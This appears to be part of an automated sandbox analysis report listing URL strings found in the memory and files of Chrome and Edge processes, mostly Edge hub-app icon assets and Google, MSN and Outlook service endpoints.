Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr, HubApps Icons.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chrome.exe, 00000010.00000003.1289320488.0000203C016F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1289478115.0000203C016A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1289096265.0000203C01720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.google.com/icons?selected=Material
Source: chromecache_453.18.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_453.18.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_453.18.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_453.18.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://gaana.com/
Source: sriwln.12.dr	String found in binary or memory: https://gemini.google.com/app?q=
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/glic/intro?20
Source: chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/glic2
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/glicbN
Source: chrome.exe, 00000010.00000003.1258203692.00002038004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000010.00000003.1258108524.00002038004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000010.00000003.1258354717.00002038004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1258108524.00002038004CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1258203692.00002038004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000010.00000003.1258354717.00002038004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1258108524.00002038004CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1258203692.00002038004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000010.00000003.1258108524.00002038004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000010.00000003.1258108524.00002038004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Pre
Source: chrome.exe, 00000010.00000003.1258108524.00002038004CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1258203692.00002038004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: msedge.exe, 0000001A.00000002.1405136815.00003258024C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000010.00000002.1347809865.0000203C009B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299808410.0000203C01C64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: jmyuai.12.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chrome.exe, 00000010.00000003.1288547289.0000203C01640000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1352056869.0000203C01640000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348776929.0000203C00C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1349176372.0000203C00DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000010.00000002.1345257733.0000203C00440000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299443705.0000203C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: chrome.exe, 00000010.00000003.1299133666.0000203C00604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/gen204
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://m.kugou.com/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://m.soundcloud.com/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://m.vk.com/
Source: chrome.exe, 00000010.00000002.1351127345.0000203C01324000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1350258536.0000203C0110C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1272422800.0000203C010C5000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1350144150.0000203C010C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/chat/
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/chat/:
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/chat/J
Source: chrome.exe, 00000010.00000002.1350097642.0000203C01070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1350961542.0000203C012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1351741434.0000203C014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346373016.0000203C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/chat/download?usp=chrome_default
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000010.00000002.1345257733.0000203C00440000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299443705.0000203C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346373016.0000203C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: msedge.exe, 0000001A.00000002.1405136815.00003258024C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 0000001A.00000002.1405136815.00003258024C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: Cookies.29.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.29.dr	String found in binary or memory: https://msn.comXIDv10
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://music.amazon.com
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://music.apple.com
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://music.yandex.com
Source: chrome.exe, 00000010.00000002.1352135662.0000203C0178C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348366074.0000203C00AD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348830411.0000203C00CA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000010.00000002.1349046088.0000203C00D4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348332900.0000203C00AB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000010.00000002.1349046088.0000203C00D4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346779867.0000203C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348332900.0000203C00AB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email?utm_source=chrome2B
Source: chrome.exe, 00000010.00000002.1349046088.0000203C00D4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348332900.0000203C00AB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000010.00000002.1348895256.0000203C00CCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log1.28.dr, 2cc80dabc69f58b6_0.28.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log7.28.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log7.28.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.28.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log7.28.dr, 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13388515803731637.28.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.28.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.28.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 0000001A.00000002.1405136815.00003258024C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000010.00000002.1350848860.0000203C0124C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.clients6.google.com
Source: chrome.exe, 00000010.00000002.1349263643.0000203C00E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000010.00000002.1350848860.0000203C0124C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000010.00000002.1350848860.0000203C0124C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://open.spotify.com
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: chrome.exe, 00000010.00000003.1299133666.0000203C00604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office.com/calendar/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chrome.exe, 00000010.00000002.1347876155.0000203C009E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://passwords.google/
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://people.googleapis.com/
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
